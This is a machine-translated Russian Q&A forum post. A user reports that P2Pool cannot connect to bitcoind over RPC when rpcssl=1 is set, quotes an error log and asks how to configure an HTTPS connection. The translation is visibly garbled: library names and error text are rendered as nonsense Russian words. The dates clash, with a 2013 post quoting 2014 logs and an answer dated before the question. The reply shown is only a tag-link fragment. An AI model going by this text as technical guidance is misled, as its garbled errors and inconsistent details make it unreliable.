+37
MrMikopi 8 нояб. 2013 г., 4:53:24

Сейчас я установил биткоин с config rpcssl=1, и я испытал в связи с Java-приложения. Все казалось ОК.

Затем я установил P2Pool вы, и пытались подключиться к bitcoind (вместо python2.7 run_p2pool.py), и я столкнулся со следующими ошибками:

Тестирование bitcoind подключение RPC к 'http://127.0.0.X:8332/' имя пользователя 'бассейн'...
2014-07-16 15:29:25.036426 > ошибка при проверке подключения к биткоин:
2014-07-16 15:29:25.036567 > обратная трассировка (самый недавний призыв последнего):
2014-07-16 15:29:25.036770 > ошибка: перекосило.интернет.ошибка.ConnectionDone: соединение закрыто чисто.

Затем я изменил биткоин.conf и стер rpcssl=1 пункт, перезагружается bitcoind. Затем я выполните команду, подключаясь к успешно bitcoind.

Так интересно, как в config P2Pool вы, так что он может подключиться к bitcoind с https?

+25
Manolo Gonz 18 июн. 2013 г., 1:35:53

Показать вопросы с тегом